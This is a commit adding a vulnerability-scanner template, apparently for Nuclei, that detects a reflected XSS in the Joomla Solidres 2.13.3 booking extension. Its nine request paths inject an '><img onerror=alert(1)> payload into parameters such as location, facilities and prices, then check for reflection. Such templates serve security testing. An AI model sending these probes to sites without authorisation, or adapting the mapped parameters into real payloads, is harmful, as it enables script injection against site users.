Create joomla-solidres-xss

2026-11-07 08:36:19 -10:00 · 2025-08-07 20:42:47 +05:30
1 changed files with 37 additions and 0 deletions
@@ -0,0 +1,37 @@
+id: joomla-solidres-xss
+info:
+  name: Joomla Solidres Reflected XSS
+  author: 0xr2r
+  severity: high
+  description: |
+    Joomla Solidres 2.13.3 contains a reflected XSS vulnerability allowing attackers to inject malicious scripts.
+    By sending victims crafted URLs, attackers can manipulate site content or steal sensitive data.
+  tags: xss,joomla,solidres
+  reference:
+    - https://extensions.joomla.org/extension/vertical-markets/booking-a-reservations/solidres/
+    - http://demo.solidres.com/joomla
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show='><img src=x onerror=alert(1)>"
+      - "{{BaseURL}}/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&reviews='><img src=x onerror=alert(1)>&facilities=18"
+      - "{{BaseURL}}/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id='><img src=x onerror=alert(1)>"
+      - "{{BaseURL}}/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance='><img src=x onerror=alert(1)>&facilities=14"
+      - "{{BaseURL}}/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities='><img src=x onerror=alert(1)>"
+      - "{{BaseURL}}/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid=306&a0b5056f4a0135d4f5296839591a088a=1distance=0-25&distance=0-25&categories='><img src=x onerror=alert(1)>"
+      - "{{BaseURL}}/joomla/greenery_hub/index.php?option=com_solidres&task=hub.updateFilter&location=d2tff&ordering=distance&direction=asc&prices='><img src=x onerror=alert(1)>"
+      - "{{BaseURL}}/joomla/greenery_hub/index.php/en/hotels/reservations?location='><img src=x onerror=alert(1)>&task=hub.search&ordering=score&direction=desc&type_id=11"
+      - "{{BaseURL}}/joomla/greenery_hub/index.php/en/hotels/reservations?location=italy&checkin=27-07-2023&checkout=28-07-2023&option=com_solidres&task=hub.search&Itemid='><img src=x onerror=alert(1)>&a0b5056f4a0135d4f5296839591a088a=1distance=0-11&distance=0-11&facilities=14"
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<img src=x onerror=alert(1)>"
+      - type: word
+        part: header
+        words:
+          - "text/html"